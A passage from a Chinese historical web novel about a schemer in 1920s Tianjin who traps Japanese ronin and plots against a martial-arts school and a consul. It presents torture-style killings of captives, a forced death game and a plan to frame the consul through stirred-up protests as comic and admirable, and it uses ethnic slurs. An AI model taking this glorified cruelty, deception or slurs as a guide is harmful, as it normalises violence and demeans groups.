满脸的恭敬,这孙子对他爹都没这样过,“伯父您说。”
宫宝森沉吟道,“老夫只有若梅这一个闺女,前几年也给她打听了不少人家,但始终没有合适的。”
“你们白家是大宅门,而且你还有一房妻子,若是嫁过去...”
白敬业明白,他这是怕宫二嫁到宅门里受欺负。
可宫二那身功夫,谁能欺负的了她。
白敬业脸上带笑,立马给了宫宝森一个拒绝不了的承诺。
“伯父,我和若梅用现在的话说是自由恋爱,也是相互喜欢,我给您一个承诺。”
“我知道宫家的也是人丁不显,我和若梅日后诞下的头一胎男丁,让他姓宫您看如何?”
“真...真的!”
宫宝森说话都带着颤音了。
世家大户最在乎的就是传宗接代,家里就一个女儿他能不愁?
他之前也想过要不要入赘一个,但为了女儿的幸福还是放弃了。
如今有这么好的机会宫宝森能不高兴么。
他都想好自己再多活个几十年,宫家秘传的宫家六十四手也有了传人。
宫宝森还是不可置信的看向白景琦,试探性问道,“老弟,你看...”
白景琦一摆手,用着戏腔答道,“这话都说了~难道,还有假滴不成么~”
这时,张六子和冯庸也都回过神来,两人起身帮着搭腔。
张六子拍着胸脯保证道,“宫大爷您放心,修合一向说话算话,他要是对妹子不好,我第一个饶不了他。”
冯庸也附和道,“对,宫大爷你放心吧。”
“哈哈哈,好”
宫宝森一阵大笑,看向白景琦,“老弟,那咱们这事就初步订下来?”
白景琦点头道,“明儿,我就回北平准备定亲的事宜,咱们先把亲事订下,再挑选成亲的日子。”
双方草订之后,宫二这时才红着脸端着托盘走了进来。
这些事她在外边都听道了,她还真怕白敬业弄出什么馊主意。
好在一切都向着好的方向发展。
除了人家自家人高兴以外,张六子算是最
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高兴的人。
这两家一定亲,算是把中华武士会牢牢地绑在他的战车上,掌控津门可以说开了个好头。
宫府这边摆下宴席,等宴席结束,谭海开车送白景琦去了津门百草厅。
董事长来了不能光办私事啊,得视察一下生意,让员工们感受到领导的关怀。
而陈识那边也结束了宴席,回到宫府,大家凑在一块商量起武行的事。
白敬业那脸皮多厚啊,这回连称呼都改了。
“岳父,我说一件事,您老可别生气。”
旁边几人都低着头憋笑,心合计这王八蛋,**能顺杆爬。
宫宝森一笑,“贤婿你说”
二人这一唱一和给宫二弄了个大红脸。
白敬业从包里抽出一打儿文件来,递给宫宝森,“岳父,您看看,这都是韩家邹榕的犯罪证据。”
宫宝森皱着眉接过,开始翻看起来。
上面清清楚楚的记载了钱大头的口供。
哪年哪月,从邹榕那走私的**,时间地点金额都十分详细。
还写了一些邹榕和鬼子之间的交易,但不是很详细。
宫宝森是越看越心惊,脸黑的跟锅底似的,
他看完之后怒不可遏,“这才短短几年,津门的武行怎么...怎么自甘**到这种地步!”
“武人的脸都他妈让他们给丢尽了!”
张六子和冯庸接过资料也传阅起来,两人也是一脸的愤怒。
这年月你缺德贩卖点**,谁都说不出什么,因为政府本身就不怎么管控。
可是你不能帮着龟子害国人,这叫一点底线都没有,纯粹的汉奸。
“贤婿你看这事应该怎么办?”
张六子也问道,“都这么长时间了,你小子也该想出办法了,别卖关子快说吧。”
白敬业一笑,“这事咱们不能操之过急,毕竟武行身后牵扯的各方利益太多。”
“再有岳父,您这些年对津门武行的掌控也不深。”
“咱们贸然拿出这份证据,也不见得有人会信,捉贼得见赃。”
白敬业这是给宫宝森留着面子呢,就差明说你都特么让人架空了。
“所以咱们还是得从陈识这为突破口,多管齐下,只要摊牌那天,我们能代表武行多数派的利益,自然他们会站在咱们这边。”
“至于具体的施行方法,咱们这么办...”
第92章 关门打狗
“二哥,听嗦了么,南边来个陈识,一连踢了好几家武馆!”
“嘛陈识?我就听嗦过,打南边来了个**,手里提溜着五斤鳎么!介陈识是**还是鳎么!”
两个津门的小玩儿闹,凑在一起讨论最近武馆发生的事。
为嘛津门统一称呼都叫二哥呢?
因为大哥是娃娃在庙里拴着呢!
“二哥,介您就不知道了吧,他是准备啊,在咱们津门立棍儿!踢满十家,咱们津门就又多个大耍儿!”
被称为二哥的年轻人把嘴一撇,“嘛棍儿不棍的,乐呵乐呵得了!碍着咱们兄弟也给他撅了!”
“哈哈哈,还得是我二哥。”
在他们旁边不远处的烧饼摊。
一个身穿中山装的年轻人站在摊铺前,左顾右看瑟瑟发抖。
年轻人正是德田信二。
经过白敬业和他的友好协商(精心蛊惑)。
德田信二自告奋勇充当鱼饵,准备钓出黑龙会和武馆的人。
他在心里不停的给自己打着气。
“信二!你是JCP最优秀的战士,你的同志们还在等着你报仇!”
“不要辜负修合先生的期望,胜利在等着你。”
“JCP板载!”
德田信二做好了心理建设,满怀信心的昂首挺胸。
眼神正好对上烧饼摊的老板。
老板一脸的不耐烦,“挑好了吗!你到底要买嘛…买不买,不买滚蛋!”
“私密,哦!对不起,我要二,不三十个烧饼。”
老板一听脸上的不耐烦也消失了,给他装了三十个烧饼。
德田信二也没问多少钱,扔下一块大洋转身就走。
老板拿起大洋吹了一下,听着声音喜笑颜开,望着德田的背影笑骂了一句。
“真是个傻贝贝!买尼玛烧饼花特么一块大洋。”
德田信二按照白敬业的要求,买了不少吃的用的。
随后往陈识原先居住的小院儿赶去。
一路上他总感觉身后有人在跟着自己,但始终不敢回头瞧。
等他回到小院子,见到白敬业才长出了一口气。
“修合先生,一路上我总感觉有人在跟着我。”
白敬业给他倒了杯水,轻笑道,“先喝点水,等人回来了再说。”
“人?什么人?”德田一脑门子问号。
过了一炷香的时间,两个打扮成力巴儿的年轻人进了小院。
这俩人也是宫家的弟子,遇到宫宝森之前也是苦命人。
一个叫张潇、一个叫余天。
小时候被拐子拐走,给培养成了高买,也就是飞贼。
后来拜在宫宝森的名下,也算弃恶从善了。
这哥俩儿打斗的能耐一般,但是盯梢、翻墙的功夫着实不错,打小儿练出的童子功。
张潇一指德田,躬身道,“姑爷,他身后确实有两个浪人尾随,不过在院门口远远望了一阵就离开了。”
自从宫二和白敬业的事在宫府传开,这些人把称呼统一都改成了姑爷。
搞得他以为自己是个上门女婿。
白敬业望着德田信二,嘴角勾起一抹弧度。
心想,这德田还真是个宝贝,刚放出去一天就让人盯上了。
这也难怪,创始人的亲弟弟肯定受到的关注更多。
白敬业看向张潇和余天,“一会儿你们两个去通知张少帅,让他的人进来,按计划行事。”
“是,姑爷”
白敬业今晚准备来上一个瓮中捉鳖。
为什么他这么有信心能拿捏住黑龙会,主要还是信息差的原因。
累死黑龙会也想不到,津门能有这么一股势力在暗中帮助JCP。
津门黑龙会
尾随德田信二的两个浪人回到黑龙会**地,向首领小山纪养禀报了此事。
这伙人正是白敬业初到津门时,在火车上遇到的那些。
“小山组长,我们发现了德田信二的行踪。”
小山纪养面色一喜,急忙道,“在哪里发现的?”
“就在津门城外,他在城内买了不少吃的用的,我怀疑他不是一个人,还有不少跟他一样的地老鼠。”
小山纪养沉吟片刻,双眼眯缝成一条线,“看来满铁那边收到的情报并不完整,还有另一伙老鼠也到了津门。”
他的脸上露出阴狠的笑容,“马上集合所有人,今晚我们就将这些老鼠一网打尽!”
“再叫上上次那些武馆的人,他们的功夫很好,我们要做到万无一失!”
“记住!德田信二一定要活捉,要用他来逼迫国内的德田球一屈服。”
其中一个浪人躬身道,“组长,我们要不要找大使馆帮忙,让大使馆的武官出面协调一些*
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*。”
小山纪养斟酌一会儿,还是摇了摇头。
“算了,现在的总领事吉田茂和满铁方面的意见不合,他一定不会批给我们武器。”
“我们是做的事是需要保密的,所以还是不要惊动他们为好,对付几个地老鼠,我们还需要火器么?”
“嗨!”
夜晚,小山纪养带领着黑龙会的浪人,还有四名韩家武馆的弟子向城外的小院儿出发。
等他们到了小院儿外,发现房间里还亮着微弱的灯光。
小山纪养狞笑一声,向后一挥手。
几名浪人抽出**冲进小院。
“砰!”
打头的浪人一脚踹开房门,可房门一开他就傻眼了。
房间里哪有JCP的成员,有的是黑洞洞的枪口。
几名身穿奉军军服的卫兵,手持伯格曼MP18式**,满脸嘲笑的看着他们。
“开火”
“哒哒哒,哒哒哒”
靠近门口的几头浪人瞬间被打成了筛子。
小山纪养看见死在门口的浪人瞬间懵逼。
不明白JCP的人哪来的这么强的火力。
“八嘎!这是圈套,撤!”
他刚准备下令撤退,从四面八方窜出将近一百多名士兵,给他们团团围住。
连房顶上都架起了**。
小山纪养看着士兵手中的武器,顿时两股颤颤。
他强撑着抽出**,用不太熟练的中文喊道,“你们是哪里来的士兵!为什么要攻击我们。”
人群中,白敬业穿着一身中校军服走了出来。
“你问我们?老子还没问你呢!大半夜的持刀来到我的指挥部要干什么?”
“我我”
小山纪养一阵的语塞,咬着牙道,“这里是津门不允许驻军,怎么会是你的指挥部?你们到底是什么人!”
“呵呵”,白敬业一阵冷笑,指向津门城方向,“你眉毛底下那俩窟窿眼是喘气的?”
“这里是城外,老子的指挥部想在哪就在哪,弟兄们,告诉他,咱们是什么人。”
“老子是奉军!”卫兵们喊声震天。
白敬业大手一挥,“举枪!”
卫兵们抬起枪口,随时准备搂火。
“等等!”
小山纪养惊慌失措喊了一声,“我们是大岛帝国的人,你不能向我们开枪!”
第93章 复仇
“你说你是岛国人谁能证明?有证件么?”
“你要不要到你们政府内,开一个证明出来?”
白敬业说着脸上的表情变得严肃起来,“我现在有理由怀疑,你是岛国内的极端分子。”
“卫兵,记录!”
旁边一个卫兵向白敬业敬了个军礼,拿出笔和文件夹记录起来。
“今夜晚间,有不明嫌疑人冒充岛国人入侵我军驻地。”
“我们有理由怀疑,他们是岛国的极端组织来破坏奉军与岛国关系。”
“对于闯入驻地的疑犯已经当场击毙,希望领事馆方面给出解释。”
等卫兵记录完毕后,白敬业再次挥手,“除了这个领头的和那几个没穿龟子衣服的,其他人全毙,开火!”
“哒哒哒”
“哒哒哒”
这些卫兵都是张学良卫队营的,一水儿的自动火力。
面对这样的火力,他们手里那两把破刀片有什么用?
十几秒的时间,只剩下领头的小山纪养和武馆的几人。
“八嘎!”
小山纪养看着周围倒地的浪人,双目血红冲向白敬业吼道,“你敢杀大岛帝国的子民,帝国是不会放过你的!”
“啧啧啧,你还挺有种的。”
白敬业嘲笑道,“你真以为你是什么人物?你们那个国家会替你出头?”
“呵呵,带走,你只会成为牺牲品。”
他一声令下,冲上一队卫兵给小山纪养砸倒。
连着那几个武馆的人都捆的结结实实。
不一会儿,来了两辆军用卡车,白敬业带着留下的活口先走。
留下黄立带着人进行收尾。
小山纪养被蒙上头套,不知道自己被带到了哪。
“嘭!滚进去!”
他感觉自己的后背遭到了重击,一个踉跄跌倒在地。
随后头套也被人摘了下来。
“混蛋!”
小山纪养心里暗骂,他缓了缓开始打量起四周。
在他旁边是那四个武馆的人。
正前方站着三个年轻人,两个穿着军服。
而另一个恶狠狠的瞪着他,似乎要将他吃了。
小山鸡养看见年轻人心中一惊,语无伦次道。
“你…你你!你是德田信二!”
“八嘎!你们奉军怎么会与JCP的人在一起!”
“放开我!你们这群混蛋,天照大神会惩罚你们。”
白敬业扣了扣耳朵,不耐烦道,“他叽里咕噜说什么呢?”
在他旁边的徐承业一笑,“白长官,这还用想么,肯定是骂您呢。”
白敬业呵呵一笑,双手搭在德田信二的肩膀上低语道。
“信二,我们华夏有一句老话。叫做,要解心头恨、拔剑斩仇人!”
“剑估计你也不会用,给你这个吧。”
白敬业拿出提前准备好的剁骨刀,塞到信二的手中。
德田信二死死攥住剁骨刀,大吼了一声。
“啊!你这个畜生!我杀了你!”
他猛的上前抡刀就剁,那刀抡的跟雨点似的。
剁饺子馅的速度都没他快,也不知道哪来的这么大劲儿。
“唉,我这个人啊心太善,就是见不得血腥。”白敬业把头往旁边一扭。
再看小山纪养被剁的,一点都没人样了。
白敬业伸手拉住德田信二,劝慰道,“行啦行啦,再剁真特么成饺子馅了。”
“镗啷”
德田信二手中的刀掉落在地,蹲在地上也不顾手中的鲜血,捂着脸放声大哭。
“呜呜呜……”
“战友们!我给你们报仇了,呜呜呜…”
徐承业凑到白敬业耳边低声道,“这小鬼子下手够狠的啊?”
白敬业翻了个白眼,“剁成这样也没法收尸了,收拾收拾喂狗吧。”
“另外,从那堆浪人尸体里挑出几个,联系他们大使馆过来认领。”
“一定要严厉问责他们,是不是故意破坏咱们奉军和岛国的友善关系。”
白敬业此举是故意恶心他们岛国大使馆,就是让他们打碎牙往肚子里咽。
目前二次直奉大战后,奉军全面占优势,岛国可算是看见一点回报了。
恨不得把张老疙瘩当成爷爷捧着,正是双方的蜜月期。
但他们哪知道被**的噩梦才刚刚开始。
这时候杀几个浪人,根本翻不起一点浪花。
龟子自己都讨厌这群浪人,所以才把他们放在华夏。
既让他们作为侵略的先锋,同时也为了让他们不祸害岛国内部。
徐承业笑笑,伸出大拇指,“白长官,您这招是**诛心啊!”
白敬业一摊手,“什么!**还要诛心?太可怕了,我哪有那么坏。”
他见德田信二发泄的差不多,就把他拎了起来。
像个大哥哥似的帮他擦干眼泪,揉了揉他的头,“去吧
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,喝点酒睡一觉,等几天你再出发去上海。”
德田信二一瞬间有些恍惚,仿佛面前站着的是他的哥哥德田球一。
他双腿一屈,土下座跪在地上,“先生!您的恩情信二将铭记终生!”
白敬业给他搀扶起来,一脸的严肃,“记住!我帮你是因为CP的理想,你要振作起来,同军国主义战斗到底!”
“嗨!”
等信二出去后,白敬业满面微笑的看着武馆的人。
“啪”
他拍了下手笑道,“几位真是不错,帮着鬼子干了不少事,我应该怎么处置你们呢,汉奸先生们!”
四人吓得体如筛糠,能不害怕么,旁边还有一堆饺子馅呢。
刚才信二的疯狂举动,他们看的是清清楚楚。
“长官长官饶命啊,是邹馆长强迫我们做的,我们也没办法!”
“求您饶了我们,我们愿意为您效力。”
“唉”
白敬业叹了口气,感叹道,“谁让我这人善良呢,就是不忍心杀生。”
他从腰间掏出把**,冲几人一笑,“今天我心情还不错,咱们来玩个游戏。”
“这把枪里有三发**,一会儿我出门后,你们谁能活到最后,那个人才会获得活着的权利!”
“不要想着耍心眼哦!否则…呵呵”他说着,眼睛瞟向地上那一堆饺子馅。
白敬业将**放到那把杀猪刀的旁边,转身和徐承业走出房间。
临出门前还贱贱的喊了句,“开始!”
房门外,白敬业抽出根香烟。
刚打开火机就听见里面,“砰!”的一声枪响。
他会心一笑点燃香烟深吸了一口。
徐承业看着他的样子,内心不停的腹诽,“白长官看起来文质彬彬的,也太他妈残暴了!”
“砰!”
白敬业看向徐承业笑道,“你小子是不是在心里骂我呢?”
“没有没有,我怎么敢骂白长官”徐承业讪笑着连连摆手。
“砰!”
第三声枪响后,里面传来了两个人的对骂声。
“你给我死!”
“王八蛋**!”
又过了一会儿,里边没有任何声音发出。
白敬业这才打开一条门缝,透过缝隙看过去。
只剩下一个人手中握着剁骨刀,瘫软的坐在地上,大口大口喘着气。
“恭喜你,你获得了这场游戏的胜利!”
第94章 张老疙瘩是红色?
“姓名”
“张谦儿”
“邹榕走私的事你参与了么?”
张谦听见白敬业问走私的事,略有些迟疑,而后点了点头。
“你们每个月什么时候在码头接货?”
“一般是月末左右,29或者30号,大使的姨太太会提前通知师娘。”
白敬业在心中盘算了一下,钱大头没说假话,都能对得上。
“你的家里还有什么人?”
“还有一个老娘,长官求求您放了我吧,我老娘眼睛不好,全靠我一个人照顾。”
“长官,我给您磕头了。”
张谦说着跪下不停的磕着头。
白敬业手向后一伸,徐承业将**递到他手里。
“你想要活着好好照顾你娘,就要听我的。”
“砰砰!”
折腾了一夜,等白敬业处理好剩余事情后,天已经蒙蒙亮了。
他回到宫府倒头就睡。
……
“师父不好了!”
邹榕正吃早饭的时候,她手下的女弟子慌慌张张的闯了进来。
她一皱眉问道,“什么事,大见小怪的。”
“师父,张师兄受伤了,身上还中了两枪。”
邹榕一听也顾不得吃饭,急忙跟着弟子走了出去。
此时馆内的大夫正在替张谦处理伤口。
张谦脸色惨白见到邹榕进来,强撑着想起来,“师娘”
邹榕赶忙让他躺下,扭头看向大夫,“他怎么样。”
“没什么大事,枪打在胳膊上了,流血过多,养一养就能好。”
邹榕柳眉紧蹙,轻声道,“怎么搞得,他们几个呢?怎么还中枪了?”
张谦的眼泪‘刷’就流了下来,“师娘,我们被那些岛国人给坑了!”
“我们跟他们办完事后本想回来,可办事的地方旁边有个村落。”
“那些岛国人非说要去村子里找乐子,谁承想那不是村子,是一伙军兵驻扎的地方。”
“他们还动手伤了几个士兵,双方起了冲突,就…呜呜呜。”
邹榕听完脑瓜子嗡嗡的,激动的高声喊道,“人都怎么了!”
“呜呜,都**,都被军兵拿**给突突了,我站在最后也挨了两枪,还好没伤到要害才死里逃生。”
“津门怎么会有军队?你清楚是哪个部队么?”
张谦摇了摇头,“听着像东北口音。”
邹榕怎么也想不明白,只能让他好好休息。
随后她直奔大使馆。
等邹榕到了大使馆,和岛国驻津门领事吉田茂说了此事。
吉田茂听完也懵了,他是真不知道前因后果。
他收到满铁的消息是帮黑龙会的人找一些本地的帮手。
这才通过邹榕找了几个人,可吉田茂根本不知道黑龙会的任务。
正在他俩一头雾水的时候,门外秘书敲门后走了进来。
“吉田先生,在津门的张少帅请您立刻到少帅府,他说让您给他个交代。”
“纳尼?什么交代?”
秘书的脸色很难看,低头道,“张少帅说昨晚有一群浪人冲击了他的卫队营。”
“他让我们派人给那些浪人收尸,还让我们解释原因。”
“如果我们给不了交代,他说奉军将会向满铁方面问责。”
吉田茂和邹榕听明白了,这些浪人冲击的就是张少帅的卫队营。
吉田茂皱着眉头,“你有没有问他,他的部队为什么会出现在津门?”
“领事,张少帅说了,根据津门公约,卫队是按照规定地点驻扎。”
“另外他的态度很强硬,他说他的卫队是防御性质,就算驻扎到津门城下,那也是合理的。”
吉田茂凝眉思考了片刻,才对邹榕笑道,“邹馆长,我这还有些急事,请您先回去,关于您所受的损失,我会给出相应的赔偿。”
邹榕点了点头,客气了几句后转身离去。
吉田茂站起身边换衣服、边吩咐道,“马上给满铁发报,把事情完整的报告上去,询问他们这些浪人到底干什么来了。”
“我们替他们擦屁股也要知道为什么擦的。”
“嗨!”
吉田茂的语气中带着一丝幸灾乐祸。
为什么?
因为他这两年和满铁的意见相左。
吉田茂的想法是想扶持老段,而满铁方面则是选择了张老疙瘩。
所以近两年他们之
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间很不愉快,如今满铁方面出了差错,他当然幸灾乐祸。
满铁总部
以山本条太郎为首的几个满铁高层正在商讨吉田茂传来的电报。
“砰”
菊池武夫一推门走了进来。
他目前担任着特务机关的机关长,并且还兼任老张的军事顾问。
山本见他进来连忙问道,“菊池君,你是为了津门的事情来的么?”
菊池皱着眉头微微颔首,“张老疙瘩很生气,问我们的浪人为什么袭击小张公子的卫队。”
“他问下一次我们是不是还准备刺杀小张。”
“这…”
山本哑口无言,“这两件事根本就不挨着,谁能想到那些浪人会去…”
“哼!”
菊池武夫冷哼一声,“那些浪人就是废物!现在怎么办!”
“我们这个时候怎么可以得罪奉军!”
旁边的松岗洋介安抚道,“菊池君,您先别生气,这件事我看就是一场误会嘛。”
山本条太郎连连点头,“对,一场误会,反正那些浪人也都做完事了。”
“我们让吉田君好好安抚一下小张公子嘛。”
他说到这开起了玩笑,“小老虎要长大,无非是想呲呲牙而已,不是什么大事。”
“哈哈哈”其他人都跟着笑起来。
这时又有一人说道,“你们说有没有可能是他们要做的事情泄露,小张故意的找那些浪人的麻烦?”
其他人都跟看**似的盯着他。
菊池斜了他一眼,“如果不是浪人惹到小张,他有什么其他的理由么?替JCP复仇?”
“按你的猜想只有一种可能,张老疙瘩和红色政权有染,小张帮助JCP复仇。”
“你是在说华夏目前最大的军阀,一心想当皇上的人是个CP?”
“哈哈哈”
其他人的笑声更大了,张老疙瘩是红色?
妈的,这笑话比西伯利亚的冷风还要冷。
“那这封电报我们应该怎么回?吉田君对我们很有意见。”
山本条太郎斟酌片刻,笑道,“就回吉田君近段时间的工作值得嘉奖,说说好话嘛,让他帮忙安抚小张公子。”
第96章 大长腿
“第八场!”
“陈识对阵兴和武馆田佳婷!”
“请双方签生死状!”
陈识已经打到了第八家武馆。
这一场,对方上阵的是兴和武馆田馆主的女儿。
白敬业、张六子和冯老五都来了。
仨人乔装改扮带着墨镜坐在最后。
但是坐姿都一个造型,抻着脖子往前看,生怕自己少看一眼。
双方还没开打呢,他们看什么呢?
大长腿!
田馆主的女儿田佳婷穿着一身旗袍。
可能是为了踢腿方便,叉都开到腰了。
冯老五看的眼热,低声道,“这么穿还能打架么?打算诱惑对方啊?”
张六子白了他一眼,“你懂什么!刘师傅和我说过,这女人上阵必有独到之处,练的就是绝活。”
“呵”,冯老五笑呵了一声,“嘛绝活?我看练的是脚上的活吧。”
“呸!你这孙子**污秽!”
白敬业这孙子光他妈顾着看了,哪有功夫和他俩扯。
突然他感觉后腰吃疼!
“嘶!”
白敬业吸了口冷气,往旁边一看。
宫二头上的青筋都蹦起来了,冷笑道,“好看么?”
他连忙摇头坐的笔直讪笑道,“不好看,她哪有你好看。”
“哼,你们男人没一个好东西。”
“咚咚咚咚”
鼓声响起,双方手持兵器上场。
“陈师傅,请!”
陈识淡然一笑,抱拳道,“田姑娘请手下留情。”
说完后,他双手持刀护住中线,脚下二字钳羊马站稳。
咏春的招式很简单。
就那么三板斧,摊膀伏,脚下也以钳羊马步为主。
二人距离不算远,他的注意力都在对方的手上。
突然,对方抬腿直奔陈识的下三路。
陈识一惊,连忙侧身躲过,心中暗道,这娘们不讲武德,这一脚要是挨上必然**。
台下那哥仨看的菊花一紧,觉得某个部位都凉飕飕的。
这一招偷袭没成功,基本田佳婷就输定了。
二人没过几招就被陈识把手中的刀打落。
整场战斗白敬业看的深感无趣,他凑到宫二耳边道。
“这打的怎么跟闹着玩似的?”
宫二呵呵一笑,解释道,“田馆主和我爹相交甚厚,他不会为难陈识的。”
“哦~”
白敬业了然的点点头,明白了,PY交易嘛。
接下来又到了请客吃饭的过程。
白敬业三人趁着人多混乱,悄么声的溜走。
他们从武馆出来以后上了车,直奔督军街。
这条街上住着的都是民国北方出名的军阀,直系、奉系、皖系都有。
车子停在一栋洋楼门前。
门牌上写着潘公馆三个大字。
房子的主人名叫潘雄起,与前北洋总理靳铨是世交。
因为政见不和在背后和老段捅了靳铨。
但也都没占到便宜纷纷下野。
潘雄起就隐居在津门,现在加入到奉系。
“叮咚”张六子按响外门的门铃。
刚按没多久,里面走出两个年轻人,边跑边笑迎了出来。
两人一高一矮,个子高点的笑道,“怎么才过来?都等你们了。”
张六子拉过两人给白敬业介绍道,“这俩也是我发小兄弟,张廷枢、鲍毓麟。”
他刚想介绍白敬业。
个子高点的鲍毓麟就伸出手,“这还用你介绍么,修合兄,咱们终于见面了。”
白敬业跟两人握手客套了几句。
大名鼎鼎的奉系四公子算是凑起了。
这二人也是在历史上评价颇高的人物。
张作相之子张廷枢就不用说了,西安事变,多次营救张六子无果后,扭头投了陕西红方。
他要不是因病早逝,至少肩膀上两颗星。
鲍毓麟的人品也是杠杠的,他在民国中期担任北平城防副司令。
北伐战争期间,以一个营的兵力,和南方小诸葛谈判,让北平免受了战火。
后来北平各大商户集体**,让他担任警厅厅长。
他在维护治安方面是不可多得的好手。
可以说鲍毓麟在任期间是北平最为和平的几年。
解放战争中,多次掩护北平的地下党成员撤退,也是正经的功臣。
奉系四公子中,除了咱们这位五毒俱全的六帅。
其他三位具是达到了青史留名。
但这三位也是都服张六子,可见张六子的人格魅力确实不一般。
张廷枢在一旁发起牢骚,“我说你
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们行啊,拜把子也不带我们俩?”
“啪”
张六子在他后背上拍了一巴掌,“废特么什么话,都JB兄弟。”
几人说说笑笑的进了屋。
屋内的人也不少。
现任直隶督办李剑仙、潘雄起、时任津门警厅厅长常怀英,还有白敬业的四大爷也从北平赶了过来。
白景泗和潘雄起等人也是十分熟悉,之前也一起共过事。
他当了那么久的北平警厅厅长,怎么可能不认识前内阁高官。
众人一阵的寒暄。
李剑仙率先开口道,“我听说那个陈识还真挺厉害,我还真想跟他过几招,试试他的刀术。”
“哈哈,好说”
张六子哈哈一笑,“我最近比武看的也挺有意思,等事情结束咱们也可以举办一场嘛。”
“参赛人数不限,觉得自己有两下子的都可以参赛,我当主办方。”
李剑仙听完笑道,“那感情好,你张司令举办,我第一个参赛。”
“行,这事过后再说,咱们还是先商量商量收网的事。”
张六子说着看向白敬业,“你来吧,整件事都是你一手策划的,该怎么收网,屋里的人有一个算一个都听你调遣。”
白敬业嘴角微微勾起,从手提包里掏出一个信封,里面装的都是照片。
“大伙儿看看这个。”
众人拿起照片传阅起来。
“哎呦,这是那个岛国领事吉田茂吧,我还见过他几次。”
李剑仙看着照片笑道,“这老小子艳福不浅啊,左拥右抱的”
上面的主人公正是吉田茂和邹榕,还有邹榕那个闺中密友,三人搂搂抱抱卿卿我我,好不快活。
还有不少在别墅外偷拍到的。
这都是李主编手下那几个记者的功劳。
自从他们被派到津门,按照白敬业的指示,开始对邹榕实施24小时跟踪。
四个人四班倒,邹榕在家里睡觉,外边都有人盯梢。
记者要是想挖出什么黑料,一般人是真发现不了,人家是专业的。
“武行咱们还要接着用,所以肯定不能一棒子彻底打死。”
白敬业指着吉田茂的脸,"最好的方法就是祸水东引,把所有攻击点都放到吉田茂的身上。“
第97章 潘秀珠
潘雄起闻言皱了皱眉头。
看着照片轻声道,“要是对付吉田茂,会不会引起咱们奉军和龟子的**?”
白敬业摇了摇头,“对付吉田茂一定不能我们来做,一旦变成双方**,这件事就变了味儿,这个烫手山芋还是留给合适的人选,我们在背后坐收渔翁之利才是最好。”
众人不明所以的看着他。
“你说的人是?”潘雄起问道。
“北平的老段!”
“他?”
白敬业说完,众人更有些懵逼。
都不明白这事怎么能和老段扯到一起。
白敬业看向潘雄起笑道,“雄起兄,你在内阁的时候,遇到最棘手、最难处理的是什么事”
“那当然是学生和群众**...,你是说?”潘雄起的眼前一亮。
他一拍大腿,“好!这是好主意!”
“哎呀!”
李景林哎呀了一声,“你说你们打什么哑谜呢,咱是大老粗听不明白,修合你详细说。”
白敬业呵呵一笑,“简单的说就是将矛盾进行转移,将事情发酵成岛国亡我华夏之心不死,利用烟土危害我华夏。”
“在我们拿下邹榕以后,利用**,将整件事都推到吉田茂的身上。”
“别管是真是假,先让这件事爆起来,开端一起,我们在京津两地暗中组织**的人,逼迫执政府的老段问责吉田茂。”
“这个烫手山芋,他接也得接,不接也得接!”
“到那时,我们再借机收拢武行,大势一起,要么他们彻底服从,不听话的就给他扣上一顶吉田茂同伙儿的帽子,跟着邹榕一起陪葬!”
“嘶”
众人吸了口冷气。
这招狠不狠,太狠了。
不听话你就是危害华夏的罪人、是**贼。
别说在津门继续开武馆了,你先能从警局活着出来再说吧。
这里面唯一冤了点的可能就是老段。
莫名其妙的提前背上了一口大锅。
“哎呦我的娘哎,这老段上辈子是倒了八辈子血霉,才让你白修合惦记上了。”
“哈哈哈”
李景林的话一出,众人纷纷大笑。
潘雄起越看白敬业越眼馋,冲张六子笑道,“张司令,你父亲让我接手津门的政务,要不你让修合来跟我搭班子怎么样?”
“要是有修合出谋划策,我看捋顺津门的政务小菜一碟。”
张六子把嘴撇了撇,“我说老潘,你人长得不咋地,想的还挺美,奉军里你打听打听,谁能从我手里挖走人?”
“哈哈哈哈”
众人开了会玩笑,白敬业开始布置起抓人流程。
“常局长,我的意思不用津门警局的人。”
“津门这个地方我们还立足未稳,用本地黑皮难免会走漏风声。”
常怀英点点头,“说的对,我刚接手警局,发现里边的情况也很复杂,互相之间都沾亲带故,有的还和租界的人打连连。”
津门警局的情况十分复杂,可以说是受三重领导。
执政府的内务部、李剑仙的直隶府都对津门警局有管辖权。
常怀英就是李剑仙亲自任命的。
而且各国租界一向不鸟津门警局,连抓人都是问题。
白敬业看向张六子,“从你的卫队里调出一部分人,换上黑皮的衣服,捣毁邹榕存放**的仓库。”
说完他扭头冲白景泗说道,“四大爷,当天你带着北平的弟兄们抓捕邹榕。”
“咱们给她来个双管齐下,捉奸见双、捉贼见脏,证据链做全了,天王老子都保不了她。”
白景泗拍着胸脯保证道,“大侄子放心,我一回去就调集骨干,肯定不耽误你的事。”
就这样,白敬业为整个津门事件做了收尾。
他和吉田茂就像两个在棋盘上互相看不见的对手。
同样在布局走子,同样是奔着武行这块肉,
终究是白敬业棋胜一招。
这一局铁门栓,直杀邹榕,让吉田茂再也无力回天。
从白敬业知道邹榕与龟子有染后,他就没打算让韩家武馆再立于津门。
让陈识去踢馆也是为了吸引整个武行的注意力,让他们无心旁顾其他事。
十九家武馆,没了邹榕依然是十九家!
谈完了正事,众人坐在一起开始谈天说地。
男人之间的话题永远离不开女人,更何况咱们张少帅就好这一口。
聊的全是**的话题。
这时外边响起一阵高跟鞋
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的声音,走进来一个靓丽少女。
“哥!你们都在聊些什么?听着真恶心!”
潘雄起尴尬一笑,“秀珠,在座的都是你的长辈,不能这么没礼貌。”
他拉着潘秀珠给众人介绍,“这是小妹潘秀珠,都让我从小给惯坏了,我给你介绍一下,这位是京榆张司令...”
白敬业一看潘秀珠,呵!
好家伙介闺女儿长滴,可耐人儿啊!
长得尼玛活脱脱是刘亦菲本人!
等介绍到白敬业这,潘秀珠噗嗤一笑。
她昂起小脸儿,“我既然叫你四大爷哥哥,你是不是应该管我叫姑姑啊?”
白敬业摸了摸鼻子有些尴尬,心道,“我要真叫你姑姑,我特么还得砍掉一条胳膊。”
“哎,对,修合你是应该叫姑姑,老五你说呢?”张六子看向冯庸打趣道。
冯庸一本正经言道,“说得对,咱们华夏人最讲礼数,修合,这姑姑你应该叫!”
潘雄起有些挂不住脸,轻声呵斥道,“秀珠不得无礼。”
“修合,对不住,我这妹妹让我惯坏了。”
白敬业大度的笑了笑,“如此靓丽的女士提出什么要求,我觉得都是合理的,叫声姑姑能怎么着。”
他嘴上这么说,心里却发狠,“妈的,这娘们还挺疯,叫你姑姑,早晚我拉你一起双修!!”
“哼!”
潘秀珠哼了一声,“没想到被无数学生仰慕的白修合,也跟着一起聊这些下流的东西,要是传出去还不得让**跌眼镜。”
“呵呵”,白敬业呵呵一笑,“这话就有失偏颇了。”
